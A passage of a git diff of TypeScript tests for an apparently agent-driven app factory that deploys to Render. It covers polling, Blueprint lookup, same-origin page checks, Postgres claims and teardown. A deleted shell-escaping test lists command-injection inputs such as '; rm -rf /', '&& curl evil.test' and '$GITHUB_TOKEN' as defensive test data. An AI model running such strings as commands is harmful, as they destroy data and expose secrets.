async () => { vi.stubGlobal( "fetch", vi.fn(async (url: string | URL | Request) => { - urls.push(new URL(String(url))); - const result = results[Math.min(urls.length, results.length) - 1]; - return typeof result === "number" - ? new Response("", { status: result }) - : Response.json(result.map((service) => ({ service, cursor: "c" }))); + const { pathname } = new URL(String(url)); + if (pathname === "/v1/services") { + // The API's name filter is not the check. + return Response.json( + [ + { id: "srv-web", name: "vibe-demo-shop-web" }, + { id: "srv-api", name: "vibe-demo-shop-api" }, + { id: "srv-api2", name: "vibe-demo-shop-api-2" }, + ].map((service) => ({ service, cursor: "c" })), + ); + } + if (pathname === "/v1/services/srv-web/deploys") { + return deploys({ id: "dep-web0", status: "live" })(); + } + if (pathname === "/v1/services/srv-api2/deploys") { + return deploys({ id: "dep-other", status: "live" })(); + } + return deploys()(); }), ); - return urls; - } - - /** Wait 60 seconds for the services, and run the sleeps at once. */ - async function waitFor(names: string[], onPoll = vi.fn()) { - const [services] = await Promise.all([ - waitForServices("tea-test", names, 60_000, onPoll), - vi.runAllTimersAsync(), - ]); - return services; - } - - beforeEach(() => { - vi.useFakeTimers(); - vi.stubEnv("RENDER_API_KEY", "rnd_test"); - vi.spyOn(console, "warn").mockImplementation(() => {}); - }); - - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - }); - - it("polls again after a poll fails, until each service is there", async () => { - const urls = serveServices([[web], 503, [web, api]]); - const onPoll = vi.fn(); - - const services = await waitFor([web.name, api.name], onPoll); - - expect([...services.values()]).toEqual([ - { - id: "srv-web", - name: web.name, - url: "https://acme-demo-shop-web.onrender.com", - }, - { - id: "srv-api", - name: api.name, - url: "https://acme-demo-shop-api.onrender.com", - }, - ]); - expect(onPoll.mock.calls.map(([detail]) => detail)).toEqual([ - "Found 1/2 services", - "The service lookup failed (attempt 1 of 5): Listing services failed with 503.", - ]); - expect(urls[0].searchParams.get("ownerId")).toBe("tea-test"); - expect(urls[0].searchParams.getAll("name")).toEqual([web.name, api.name]); - }); - - // The name filter of the API is not the check. - it("does not take a service whose name only starts with a wanted name", async () => { - const urls = serveServices([[{ ...web, name: `${web.name}-2` }], [web]]); - - const services = await waitFor([web.name]); - expect([...services.keys()]).toEqual([web.name]); - expect(urls).toHaveLength(2); + expect( + await settle( + latestDeploys("tea-test", [ + "vibe-demo-shop-web", + "vibe-demo-shop-api", + "vibe-demo-shop-db-reader", + ]), + ), + ).toEqual(new Map([["vibe-demo-shop-web", "dep-web0"]])); }); }); -const PAGE = "https://vibe-demo-shop-web.onrender.com"; -const API_HOST = "vibe-demo-shop-api.onrender.com"; - -describe("pageScripts", () => { - it("finds the scripts that a Vite build loads", () => { - const html = [ - '', - '', - '', - ].join("\n"); - expect(pageScripts(html, PAGE)).toEqual([ - `${PAGE}/assets/index-B1x2.js`, - `${PAGE}/assets/vendor-C3y4.js`, - ]); - }); - - it("reads single-quoted, unquoted, and relative references", () => { - const html = - ""; - expect(pageScripts(html, PAGE)).toEqual([ - `${PAGE}/app.js`, - `${PAGE}/js/main.js`, - ]); - }); - - // An agent wrote the page. Its references must not send the workflow to a - // different host, on the internet or on the private network. - it("never leaves the origin of the page", () => { - const html = [ - '', - '', - '', - ].join("\n"); - expect(pageScripts(html, PAGE)).toEqual([]); - }); - - it("skips inline scripts and tags in comments", () => { - const html = - ''; - expect(pageScripts(html, PAGE)).toEqual([]); - }); -}); - -describe("pageContains", () => { - const html = ''; - - /** Serve these bodies by URL, and 404 for every other URL. */ - function serve(files: Record) { - const fetchMock = vi.fn(async (url: string | URL | Request) => { - const body = files[String(url)]; - return body === undefined - ? new Response("not found", { status: 404 }) - : new Response(body); +describe("retryRead", () => { + it("retries a transient failure, and gives up after five failures in a row", async () => { + const flaky = vi + .fn<() => Promise>() + .mockRejectedValueOnce(new TypeError("fetch failed")) + .mockRejectedValueOnce(new Error("503")) + .mockResolvedValue("ok"); + expect(await settle(retryRead("The lookup", flaky))).toBe("ok"); + + const broken = vi.fn(async () => { + throw new Error("upstream error"); }); - vi.stubGlobal("fetch", fetchMock); - return fetchMock; - } - - afterEach(() => { - vi.unstubAllGlobals(); - }); - - it("finds the API hostname in the bundle", async () => { - serve({ - [PAGE]: html, - [`${PAGE}/assets/index-B1x2.js`]: `const b="https://${API_HOST}";`, - }); - expect(await pageContains(PAGE, API_HOST)).toBe(true); - }); - - // This is the failure that the check is for. `property: host` gives the - // bundle a private-network name. All checks of the API pass, and every - // browser fails. - it("is false when the bundle has the private-network name", async () => { - serve({ - [PAGE]: html, - [`${PAGE}/assets/index-B1x2.js`]: - 'const b="https://vibe-demo-shop-api-x7k2";', - }); - expect(await pageContains(PAGE, API_HOST)).toBe(false); - }); - - it("does not request a script from a different origin", async () => { - const fetchMock = serve({ - [PAGE]: '', - }); - expect(await pageContains(PAGE, API_HOST)).toBe(false); - expect(fetchMock.mock.calls.map(([url]) => String(url))).toEqual([PAGE]); - }); -}); - -/** - * No agent can read logs, so this read is how the deploy manager gets them. - * It must get the logs of the failed deploy, and no line of an earlier one. - */ -describe("fetchDeployLogs", () => { - beforeEach(() => { - vi.stubEnv("RENDER_API_KEY", "rnd_test"); - vi.spyOn(console, "warn").mockImplementation(() => {}); - }); - - afterEach(() => { - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - }); - - /** Serve the deploy, and the logs or an error status. Returns each URL. */ - function serve(logs: object | number): URL[] { - const urls: URL[] = []; - vi.stubGlobal( - "fetch", - vi.fn(async (url: string | URL | Request) => { - const parsed = new URL(String(url)); - urls.push(parsed); - if (parsed.pathname !== "/v1/logs") { - return Response.json({ - id: "dep-api2", - // The commit can be days older than its deploy. - commit: { id: "c0ffee", createdAt: "2026-09-23T09:00:00Z" }, - createdAt: "2026-09-23T10:00:00Z", - startedAt: "2026-09-23T10:00:05Z", - finishedAt: "2026-09-23T10:03:00Z", - }); - } - return typeof logs === "number" - ? new Response("", { status: logs }) - : Response.json(logs); - }), - ); - return urls; - } - - it("reads the logs of each type in the time range of the deploy, oldest first", async () => { - const urls = serve({ - logs: [ - { message: 'npm error Missing script: "migrate"' }, - { message: "==> Running pre-deploy command 'npm run migrate'" }, - ], - }); - - expect(await fetchDeployLogs("srv-api", "dep-api2", "tea-test")).toBe( - "==> Running pre-deploy command 'npm run migrate'\n" + - 'npm error Missing script: "migrate"', - ); - expect(urls[0].pathname).toBe("/v1/services/srv-api/deploys/dep-api2"); - expect(Object.fromEntries(urls[1].searchParams)).toEqual({ - ownerId: "tea-test", - resource: "srv-api", - startTime: "2026-09-23T10:00:00Z", - endTime: "2026-09-23T10:03:00Z", - direction: "backward", - limit: "100", - }); - }); - - // The logs are only diagnostic. A read that cannot finish must not end a - // run that a repair can still fix. - it("gives no logs, and no error, when a read cannot finish", async () => { - serve(401); - - expect(await fetchDeployLogs("srv-api", "dep-api2", "tea-test")).toBe(""); - expect(console.warn).toHaveBeenCalledWith( - expect.stringContaining('"event":"deploy_logs_unavailable"'), + await expect(settle(retryRead("The lookup", broken))).rejects.toThrow( + "failed 5 times in sequence", ); + expect(broken).toHaveBeenCalledTimes(5); }); }); @@ -470,153 +173,78 @@ describe("findBlueprint", () => { name: "apps", status: "in_sync", autoSync: true, - repo: "https://github.com/acme/apps", + repo: "https://github.com/acme/apps.git", branch: "main", path: "render.yaml", }; const other = (n: number) => ({ - blueprint: { - ...ours, - id: `exs-other-${n}`, - repo: `https://github.com/acme/other-${n}`, - }, + blueprint: { ...ours, id: `exs-${n}`, repo: `https://github.com/x/${n}` }, cursor: `cursor-${n}`, }); + const fullPage = () => + Response.json(Array.from({ length: 100 }, (_, n) => other(n))); - /** - * Serve these pages in order, and record each URL. A Response in the list - * is the answer to its request. - */ - function servePages(pages: (unknown[] | Response)[]) { - const urls: URL[] = []; - vi.stubGlobal( - "fetch", - vi.fn(async (url: string | URL | Request) => { - urls.push(new URL(String(url))); - const page = pages[urls.length - 1] ?? []; - return page instanceof Response ? page : Response.json(page); - }), - ); - return urls; - } - - /** Look up the Blueprint, and do the waits between attempts at once. */ - async function lookUp() { - vi.useFakeTimers(); - const [blueprint] = await Promise.all([ - findBlueprint(target), - vi.runAllTimersAsync(), - ]); - return blueprint; - } - - beforeEach(() => { - vi.stubEnv("RENDER_API_KEY", "rnd_test"); - vi.spyOn(console, "warn").mockImplementation(() => {}); - }); - - afterEach(() => { - vi.useRealTimers(); - vi.restoreAllMocks(); - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - }); - - // An API key can see many workspaces. Before this, the lookup read one page - // of all of them, and missed a Blueprint that was number 128 of 128. - it("reads the factory workspace, and follows the cursor to a later page", async () => { - const first = Array.from({ length: 100 }, (_, n) => other(n)); - const urls = servePages([ - first, - [{ blueprint: ours, cursor: "cursor-ours" }], - ]); - - expect(await findBlueprint(target)).toEqual(ours); - expect(urls.map((url) => url.searchParams.get("ownerId"))).toEqual([ - "tea-factory", - "tea-factory", - ]); - expect(urls.map((url) => url.searchParams.get("cursor"))).toEqual([ - null, - "cursor-99", - ]); - }); - - it("stops after a short page", async () => { - const urls = servePages([[other(1), other(2)]]); - - expect(await findBlueprint(target)).toBeNull(); - expect(urls).toHaveLength(1); - }); - - it("requests a page again after a request fails", async () => { - const urls = servePages([ - new Response("upstream error", { status: 503 }), - [{ blueprint: ours, cursor: "cursor-ours" }], - ]); - - expect(await lookUp()).toEqual(ours); - expect(urls).toHaveLength(2); - }); - - // Null tells the run that no Blueprint exists, and the run then tells the - // user to create one. A lookup that failed cannot know that. - it("fails with the last error when 5 requests in sequence fail", async () => { - const urls = servePages( - Array.from({ length: 5 }, () => new Response("", { status: 500 })), + // Null makes the run tell the user to create a Blueprint. A refused lookup + // is not proof that none exists, and a new attempt cannot repair the API + // key, so a 401 or 403 fails at once. + it("pages through the Blueprints, and returns null only when none matches", async () => { + renderAnswers(fullPage, () => + Response.json([other(100), { blueprint: ours, cursor: "c" }]), ); + expect(await settle(findBlueprint(target))).toEqual(ours); - await expect(lookUp()).rejects.toThrow( - "The Blueprint lookup failed 5 times in sequence. " + - "The last error: Listing Blueprints failed with 500.", - ); - expect(urls).toHaveLength(5); - }); - - it.each([401, 403])("fails at once on a %i", async (status) => { - const urls = servePages([new Response("", { status })]); + renderAnswers(fullPage, () => Response.json([other(100)])); + expect(await settle(findBlueprint(target))).toBeNull(); - await expect(lookUp()).rejects.toThrow( - `Listing Blueprints failed with ${status}. The API key needs read access to the workspace.`, - ); - expect(urls).toHaveLength(1); + for (const status of [401, 403]) { + const fetchMock = renderAnswers(() => new Response("", { status })); + await expect(settle(findBlueprint(target))).rejects.toThrow( + `failed with ${status}`, + ); + expect(fetchMock).toHaveBeenCalledTimes(1); + } }); }); -/** The gateway links each run to its task run in the Render Dashboard. */ -describe("workflowIdOfTaskRun", () => { - beforeEach(() => vi.stubEnv("RENDER_API_KEY", "rnd_test")); - - afterEach(() => { - vi.unstubAllGlobals(); - vi.unstubAllEnvs(); - }); - - function renderHas(task: Record) { - const fetchMock = vi.fn(async (url: string | URL | Request) => - String(url).includes("/task-runs/") - ? Response.json({ id: "trn-1", taskId: "tsk-1" }) - : Response.json(task), - ); +describe("pageContains", () => { + const PAGE = "https://vibe-demo-shop-web.onrender.com"; + const API_HOST = "vibe-demo-shop-api.onrender.com"; + + // An agent wrote the page, and it must not send the workflow to other hosts. + it("finds text in a same-origin script and never fetches another origin", async () => { + const files: Record = { + [PAGE]: [ + '', + '', + ].join(""), + [`${PAGE}/assets/index-B1x2.js`]: `const b="https://${API_HOST}";`, + }; + const fetchMock = vi.fn(async (url: string | URL | Request) => { + const body = files[String(url)]; + return body === undefined + ? new Response("not found", { status: 404 }) + : new Response(body); + }); vi.stubGlobal("fetch", fetchMock); - return fetchMock; - } - - it("reads the task of the task run, and gives its workflow", async () => { - const fetchMock = renderHas({ id: "tsk-1", workflowId: "wfl-1" }); - expect(await workflowIdOfTaskRun("trn-1")).toBe("wfl-1"); - expect(fetchMock.mock.calls.map(([url]) => String(url))).toEqual([ - `${REST_API}/task-runs/trn-1`, - `${REST_API}/tasks/tsk-1`, - ]); + expect(await pageContains(PAGE, API_HOST)).toBe(true); + expect(await pageContains(PAGE, "vibe-demo-shop-api-x7k2:10000")).toBe( + false, + ); + for (const [url] of fetchMock.mock.calls) { + expect(new URL(String(url)).origin).toBe(PAGE); + } }); +}); - it("fails when the task names no workflow", async () => { - renderHas({ id: "tsk-1" }); +describe("fetchDeployLogs", () => { + // The logs are only diagnostic. A read that cannot finish must not end a + // run that a repair can still fix. + it("returns no logs instead of failing when the reads fail", async () => { + renderAnswers(() => new Response("", { status: 503 })); - await expect(workflowIdOfTaskRun("trn-1")).rejects.toThrow( - "Task tsk-1 names no workflow", - ); + expect( + await settle(fetchDeployLogs("srv-api", "dep-api2", "tea-test")), + ).toBe(""); }); }); diff --git a/tests/shell.test.ts b/tests/shell.test.ts deleted file mode 100644 index 0ebc562..0000000 --- a/tests/shell.test.ts +++ /dev/null @@ -1,31 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { shellEscape } from "../app/sandbox.js"; - -describe("shellEscape", () => { - it("wraps a plain value in single quotes", () => { - expect(shellEscape("main")).toBe("'main'"); - }); - - it("neutralizes an embedded single quote", () => { - expect(shellEscape("it's")).toBe("'it'\\''s'"); - }); - - // Every one of these would otherwise be a command injection, since the - // values interpolated into commands come from model output, branch names, - // file paths, and issue titles. - it.each([ - "; rm -rf /", - "$(whoami)", - "`id`", - "&& curl evil.test", - "| sh", - "a\nb", - "$GITHUB_TOKEN", - ])("contains %s inside one quoted argument", (value) => { - const escaped = shellEscape(value); - expect(escaped.startsWith("'")).toBe(true); - expect(escaped.endsWith("'")).toBe(true); - // The payload survives verbatim; it is quoted, not stripped. - expect(escaped.slice(1, -1)).toBe(value); - }); -}); diff --git a/tests/store.test.ts b/tests/store.test.ts index 2b3684c..1881bd6 100644 --- a/tests/store.test.ts +++ b/tests/store.test.ts @@ -1,83 +1,107 @@ /** - * Postgres can close a connection of the pool, for example in a restart. For - * an idle connection, the pool emits "error". For a connection that a - * transaction holds, the client emits "error". An "error" event with no - * listener stops the gateway and the workflows host. No test connects to - * Postgres: the pool opens a connection only for a query, and the transaction - * gets a fake client. + * No test connects to Postgres: the pool opens a connection only for a query, + * and each transaction gets a fake client. */ import { EventEmitter } from "node:events"; import type { PoolClient } from "pg"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { claimDelete, db } from "../app/store.js"; +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { claimRun, db } from "../app/store.js"; -describe("db", () => { - afterEach(() => { - vi.restoreAllMocks(); - vi.unstubAllEnvs(); - }); +const RUN = { + id: "run-1", + idempotencyKey: "key-12345", + prompt: "Sell handmade walnut furniture online", + user: "demo", +}; - it("logs the error of an idle connection and does not throw it", () => { - vi.stubEnv("DATABASE_URL", "postgres://factory@127.0.0.1:5432/factory"); - const logged = vi.spyOn(console, "error").mockImplementation(() => {}); - const error = new Error( - "terminating connection due to administrator command", - ); +/** A client of the pool that answers each query with `answer`. */ +function fakeClient( + answer: (text: string) => { rows: unknown[]; rowCount?: number }, +) { + const client = Object.assign(new EventEmitter(), { + release: vi.fn(), + query: vi.fn(async (text: string) => answer(text)), + }); + vi.spyOn(db(), "connect").mockImplementation( + async () => client as unknown as PoolClient, + ); + return client; +} - expect(() => db().emit("error", error)).not.toThrow(); - expect(logged).toHaveBeenCalledWith( - "Lost an idle Postgres connection:", - error, - ); +/** What kind of statement each query was. */ +const statements = (client: ReturnType) => + client.query.mock.calls.map(([text]) => { + if (/pg_advisory_xact_lock/.test(text)) return "lock"; + return text.trim().split(/\s+/)[0]; }); + +beforeEach(() => { + vi.stubEnv("DATABASE_URL", "postgres://factory@127.0.0.1:5432/factory"); }); -describe("the transaction of an app lock", () => { - afterEach(() => { - vi.restoreAllMocks(); - vi.unstubAllEnvs(); +afterEach(() => { + vi.restoreAllMocks(); + vi.unstubAllEnvs(); +}); + +describe("claimRun", () => { + // Under READ COMMITTED, two claims at once each count the running rows + // without the other's row, and both could take the last slot. + it("inserts the run inside a transaction, under an advisory lock taken before the insert", async () => { + const client = fakeClient((text) => ({ + rows: [], + rowCount: text.trim().startsWith("insert") ? 1 : 0, + })); + + await expect(claimRun(RUN)).resolves.toEqual({ claimed: true }); + + expect(statements(client)).toEqual(["begin", "lock", "insert", "commit"]); + expect(client.release).toHaveBeenCalledOnce(); }); - it("logs the error of a closed connection and gives the caller the error of the query", async () => { - vi.stubEnv("DATABASE_URL", "postgres://factory@127.0.0.1:5432/factory"); - const logged = vi.spyOn(console, "error").mockImplementation(() => {}); - const terminated = new Error( - "terminating connection due to administrator command", + it("reports a seen idempotency key as a duplicate of its run, and a full factory as at capacity", async () => { + fakeClient((text) => + text.startsWith("select id") + ? { rows: [{ id: "run-0" }], rowCount: 1 } + : { rows: [], rowCount: 0 }, ); - const closed = new Error("Connection terminated unexpectedly"); - // As in pg after pg_terminate_backend(): the lock query fails, and the - // rollback waits. Then the socket closes, and the client emits "error". - let failRollback: (error: Error) => void = () => {}; - const rollback = new Promise((_, reject) => { - failRollback = reject; + await expect(claimRun(RUN)).resolves.toEqual({ + claimed: false, + reason: "duplicate", + runId: "run-0", }); - const client = Object.assign(new EventEmitter(), { - release: vi.fn(), - query: vi.fn(async (text: string) => { - if (text === "begin") return { rows: [] }; - if (text === "rollback") return rollback; - throw terminated; - }), + + vi.restoreAllMocks(); + fakeClient(() => ({ rows: [], rowCount: 0 })); + await expect(claimRun(RUN)).resolves.toEqual({ + claimed: false, + reason: "at_capacity", }); - vi.spyOn(db(), "connect").mockImplementation( - async () => client as unknown as PoolClient, - ); + }); +}); - const claim = claimDelete("demo", "furniture-catalog"); - await vi.waitFor(() => - expect(client.query).toHaveBeenLastCalledWith("rollback"), +describe("a lost Postgres connection", () => { + // An "error" event with no listener stops the gateway and the workflows host. + it("does not crash the process, idle or in a transaction, and the client is released", async () => { + vi.spyOn(console, "error").mockImplementation(() => {}); + const closed = new Error("Connection terminated unexpectedly"); + const terminated = new Error( + "terminating connection due to administrator command", ); - expect(() => client.emit("error", closed)).not.toThrow(); - failRollback(closed); - await expect(claim).rejects.toBe(terminated); - expect(logged).toHaveBeenCalledWith( - "Lost a Postgres connection in a transaction:", - closed, - ); - // The pool gives this client to the next transaction, so no listener - // can remain. - expect(client.listenerCount("error")).toBe(0); + expect(() => db().emit("error", closed)).not.toThrow(); + + // As in pg: the query fails, and the client emits "error" as the socket + // closes. Without a listener, emit() would throw `closed` instead. + const client = fakeClient((text) => { + if (text === "begin" || text === "rollback") return { rows: [] }; + client.emit("error", closed); + throw terminated; + }); + + await expect(claimRun(RUN)).rejects.toBe(terminated); expect(client.release).toHaveBeenCalledOnce(); + // The pool hands this client to the next transaction. + expect(client.listenerCount("error")).toBe(0); }); }); diff --git a/tests/teardown.test.ts b/tests/teardown.test.ts index 3d3fdc9..009f99d 100644 --- a/tests/teardown.test.ts +++ b/tests/teardown.test.ts @@ -1,123 +1,69 @@ /** - * app/teardown.ts makes the factory's only Render API calls that change a - * service, a database, or a project. These tests pin down how it waits until - * no sync of an earlier commit can run, and that it deletes only in the app's - * own project. tests/workflow.test.ts tests that a delete waits before it - * deletes. A fake fetch holds the workspace, and a fake clock runs the waits. + * app/teardown.ts makes the factory's only Render write calls. These tests + * pin down that it deletes only in the app's own project, and that it waits + * until no sync of an earlier commit can bring a resource back. A fake fetch + * holds the workspace, and a fake clock runs the waits. */ import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { - deleteAppResources, - type SyncWaitOptions, - type TeardownOptions, - waitForBlueprintSyncs, -} from "../app/teardown.js"; +import { deleteAppResources, waitForBlueprintSyncs } from "../app/teardown.js"; -/** What the delete of the resources gets from the app's spec. */ const APP = { user: "demo", appName: "shop", resourcePrefix: "vibe" }; +const OPTIONS = { workspaceId: "tea-test" }; -const OPTIONS: TeardownOptions = { workspaceId: "tea-test" }; - -const WAIT: SyncWaitOptions = { pushedAt: null, timeoutMs: 60_000 }; - -const SHOP = { - id: "prj-shop", - name: "vibe-demo-shop", - environmentIds: ["evm-shop"], -}; -/** What Render lists for the Blueprint after a push that only removed the app. */ -const LISTED = [ - { id: "srv-web", name: "vibe-demo-shop-web", type: "static_site" }, - { id: "srv-api", name: "vibe-demo-shop-api", type: "web_service" }, - { id: "dpg-db", name: "vibe-demo-shop-db", type: "postgres" }, - { id: "srv-cafe", name: "vibe-demo-cafe-web", type: "static_site" }, -]; - -type SyncState = "created" | "pending" | "running" | "success" | "error"; - -/** One entry of GET /blueprints/{id}/syncs, as Render sends it. */ -function sync(commit: string, state: SyncState) { - return { - sync: { id: `exe-${commit}`, commit: { id: commit }, state }, - cursor: "c", - }; +interface Named { + id: string; + name: string; } interface Workspace { - /** - * GET /blueprints/exs-apps/syncs answers these in order, then repeats the - * last. A Response is the answer, an Error is thrown as fetch throws a - * network error, and a different value is the JSON body. - */ - syncs: unknown[]; - projects: (typeof SHOP)[]; - services: Record; - postgres: Record; - /** DELETE answers these statuses in order, then 204. */ - deletes: Record; + projects: (Named & { environmentIds: string[] })[]; + services: Record; + postgres: Record; + /** The status each DELETE path answers; 204 otherwise. */ + deleteStatus: Record; + /** GET .../syncs answers these states in order, then repeats the last. */ + syncStates: string[]; } let workspace: Workspace; -/** Each request as "METHOD /path", in order. */ -let requests: string[]; -/** The time on the fake clock of each read of the syncs. */ -let syncReads: number[]; +/** Each DELETE path, in order. */ +let deleted: string[]; +let syncReads: number; function serve(): void { - requests = []; - syncReads = []; + deleted = []; + syncReads = 0; vi.stubGlobal( "fetch", vi.fn(async (input: string | URL | Request, init?: RequestInit) => { const url = new URL(String(input)); const path = url.pathname.replace(/^\/v1/, ""); - const method = init?.method ?? "GET"; - requests.push(`${method} ${path}`); - - if (method === "DELETE") { - const status = workspace.deletes[path]?.shift() ?? 204; + if (init?.method === "DELETE") { + deleted.push(path); + const status = workspace.deleteStatus[path] ?? 204; return new Response(status === 204 ? null : "refused", { status }); } const environment = url.searchParams.get("environmentId") ?? ""; + const page = (key: string, items: unknown[]) => + Response.json(items.map((item) => ({ [key]: item, cursor: "c" }))); switch (path) { case "/blueprints/exs-apps/syncs": { - syncReads.push(Date.now()); - const [next, ...rest] = workspace.syncs; - if (rest.length > 0) workspace.syncs = rest; - if (next instanceof Error) throw next; - // A copy, because the last answer can be sent again. - return next instanceof Response ? next.clone() : Response.json(next); + const states = workspace.syncStates; + const state = states[Math.min(syncReads++, states.length - 1)]; + return page("sync", [{ commit: { id: "c1abcdef" }, state }]); } - case "/blueprints/exs-apps": - return Response.json({ - id: "exs-apps", - status: "in_sync", - autoSync: true, - resources: LISTED, - }); - // A prefix match, so that the test proves the exact match. + // A prefix match, as the API's name filter is. case "/projects": - return Response.json( - workspace.projects - .filter((project) => - project.name.startsWith(url.searchParams.get("name") ?? ""), - ) - .map((project) => ({ project, cursor: "c" })), + return page( + "project", + workspace.projects.filter((project) => + project.name.startsWith(url.searchParams.get("name") ?? ""), + ), ); case "/services": - return Response.json( - (workspace.services[environment] ?? []).map((service) => ({ - service, - cursor: "c", - })), - ); + return page("service", workspace.services[environment] ?? []); case "/postgres": - return Response.json( - (workspace.postgres[environment] ?? []).map((postgres) => ({ - postgres, - cursor: "c", - })), - ); + return page("postgres", workspace.postgres[environment] ?? []); default: return new Response("not found", { status: 404 }); } @@ -137,33 +83,27 @@ async function settle(promise: Promise): Promise { return tracked; } -function deletes(): string[] { - return requests.filter((request) => request.startsWith("DELETE ")); -} - -/** The JSON events of one console method, in order. */ -function events(method: "log" | "warn"): Record[] { - return vi - .mocked(console[method]) - .mock.calls.map(([line]) => JSON.parse(String(line))); -} - beforeEach(() => { vi.useFakeTimers(); vi.spyOn(console, "log").mockImplementation(() => {}); vi.spyOn(console, "warn").mockImplementation(() => {}); - process.env.RENDER_API_KEY = "rnd_test"; + vi.stubEnv("RENDER_API_KEY", "rnd_test"); workspace = { - syncs: [[sync("54c1088", "success"), sync("8dfd43a", "success")]], - projects: [SHOP], + projects: [ + { id: "prj-shop", name: "vibe-demo-shop", environmentIds: ["evm-shop"] }, + // App "shop-v2" has a project name that starts with app "shop"'s. + { id: "prj-v2", name: "vibe-demo-shop-v2", environmentIds: ["evm-v2"] }, + ], services: { "evm-shop": [ { id: "srv-web", name: "vibe-demo-shop-web" }, { id: "srv-api", name: "vibe-demo-shop-api" }, ], + "evm-v2": [{ id: "srv-v2", name: "vibe-demo-shop-v2-web" }], }, postgres: { "evm-shop": [{ id: "dpg-db", name: "vibe-demo-shop-db" }] }, - deletes: {}, + deleteStatus: {}, + syncStates: ["success"], }; serve(); }); @@ -171,302 +111,71 @@ beforeEach(() => { afterEach(() => { vi.useRealTimers(); vi.unstubAllGlobals(); + vi.unstubAllEnvs(); vi.restoreAllMocks(); }); -describe("waitForBlueprintSyncs", () => { - // On Render, a push that only removed an app started no sync, and 20 - // minutes later the Blueprint still listed the app's resources. The first - // version of the delete waited for them to leave that list, and timed out. - it("finishes while the Blueprint still lists the app's resources", async () => { - await settle(waitForBlueprintSyncs("exs-apps", WAIT)); - - expect(syncReads).toHaveLength(1); - expect(requests).not.toContain("GET /blueprints/exs-apps"); - }); - - // A sync of an earlier commit still declares the app, and a sync recreates - // a declared resource that is missing. - it("waits while a sync of the Blueprint waits or runs", async () => { - workspace.syncs = [ - [sync("c1", "pending"), sync("54c1088", "success")], - [sync("c1", "running"), sync("54c1088", "success")], - [sync("c1", "success"), sync("54c1088", "success")], - ]; - - await settle(waitForBlueprintSyncs("exs-apps", WAIT)); - - expect(syncReads).toHaveLength(3); - }); - - // The push event of an earlier push, from another run, can arrive after the - // delete's push. - it("reads the syncs a minute after its push, so that a late push event can start one", async () => { - const pushedAt = Date.now(); - - await settle(waitForBlueprintSyncs("exs-apps", { ...WAIT, pushedAt })); - - expect(syncReads[0]).toBeGreaterThanOrEqual(pushedAt + 60_000); - }); - - it("does not wait for the push event when an earlier attempt pushed", async () => { - const start = Date.now(); - - await settle(waitForBlueprintSyncs("exs-apps", WAIT)); - - expect(syncReads[0]).toBe(start); - }); - - it("fails when a sync does not finish by the deadline", async () => { - workspace.syncs = [[sync("c1abcdef99", "running")]]; - - await expect( - settle(waitForBlueprintSyncs("exs-apps", WAIT)), - ).rejects.toThrow( - "Blueprint exs-apps has a sync that did not finish in 1 minutes: c1abcde (running).", - ); - }); - - // Without the list, a running sync would look like no sync. - it("fails when the Blueprint returns no list of syncs", async () => { - workspace.syncs = [{ message: "unexpected" }]; - - await expect( - settle(waitForBlueprintSyncs("exs-apps", WAIT)), - ).rejects.toThrow("Blueprint exs-apps returned no list of syncs."); - }); - - // The wait reads the syncs for up to 6 minutes. One failed request once - // ended the delete as delete_failed, and a new DELETE was necessary. - it("reads the syncs again after a read fails, and then finishes", async () => { - const onProgress = vi.fn(); - workspace.syncs = [ - new Response("upstream error", { status: 503 }), - new DOMException( - "The operation was aborted due to timeout", - "TimeoutError", - ), - [sync("c1", "running"), sync("54c1088", "success")], - new TypeError("fetch failed", { cause: new Error("other side closed") }), - [sync("c1", "success"), sync("54c1088", "success")], - ]; - - await settle(waitForBlueprintSyncs("exs-apps", { ...WAIT, onProgress })); - - expect(syncReads).toHaveLength(5); - expect(onProgress.mock.calls.map(([detail]) => detail)).toEqual([ - "The Blueprint sync lookup failed (attempt 1 of 5): Listing the syncs of Blueprint exs-apps failed with 503.", - "The Blueprint sync lookup failed (attempt 2 of 5): The operation was aborted due to timeout", - "Waiting for a sync of Blueprint exs-apps to finish", - "The Blueprint sync lookup failed (attempt 1 of 5): fetch failed: other side closed", - ]); - expect(events("log").at(-1)).toEqual({ - event: "blueprint_syncs_finished", - blueprintId: "exs-apps", - }); - }); - - it("fails with the last error when 5 reads of the syncs in sequence fail", async () => { - workspace.syncs = [ - ...Array.from( - { length: 4 }, - () => new Response("upstream error", { status: 503 }), - ), - new TypeError("fetch failed", { cause: new Error("other side closed") }), - ]; - - await expect( - settle(waitForBlueprintSyncs("exs-apps", WAIT)), - ).rejects.toThrow( - "The Blueprint sync lookup failed 5 times in sequence. " + - "The last error: fetch failed: other side closed", - ); - expect(syncReads).toHaveLength(5); - }); - - // A new attempt cannot repair the API key. - it.each([401, 403])( - "fails at once when a read of the syncs gets a %i", - async (status) => { - workspace.syncs = [new Response("", { status })]; - - await expect( - settle(waitForBlueprintSyncs("exs-apps", WAIT)), - ).rejects.toThrow( - `Listing the syncs of Blueprint exs-apps failed with ${status}.`, - ); - expect(syncReads).toHaveLength(1); - }, - ); - - // A read every five seconds for minutes would bury the rest of the log. - it("logs the wait for the push event, each change of the syncs, and the end", async () => { - workspace.syncs = [ - [sync("c1abcdef99", "pending")], - [sync("c1abcdef99", "pending")], - [sync("c1abcdef99", "running")], - [sync("c1abcdef99", "success")], - ]; - - await settle( - waitForBlueprintSyncs("exs-apps", { ...WAIT, pushedAt: Date.now() }), - ); - - expect(events("log")).toEqual([ - { event: "push_event_wait", blueprintId: "exs-apps", delayMs: 60_000 }, - { - event: "blueprint_syncs_unfinished", - blueprintId: "exs-apps", - syncs: ["c1abcde (pending)"], - }, - { - event: "blueprint_syncs_unfinished", - blueprintId: "exs-apps", - syncs: ["c1abcde (running)"], - }, - { event: "blueprint_syncs_finished", blueprintId: "exs-apps" }, - ]); - }); -}); - describe("deleteAppResources", () => { - it("deletes the services, then the databases, then the project", async () => { - await expect(settle(deleteAppResources(APP, OPTIONS))).resolves.toEqual([ + it("deletes only the app's own project and resources: services, then databases, then the project", async () => { + expect(await settle(deleteAppResources(APP, OPTIONS))).toEqual([ "vibe-demo-shop-web", "vibe-demo-shop-api", "vibe-demo-shop-db", ]); - 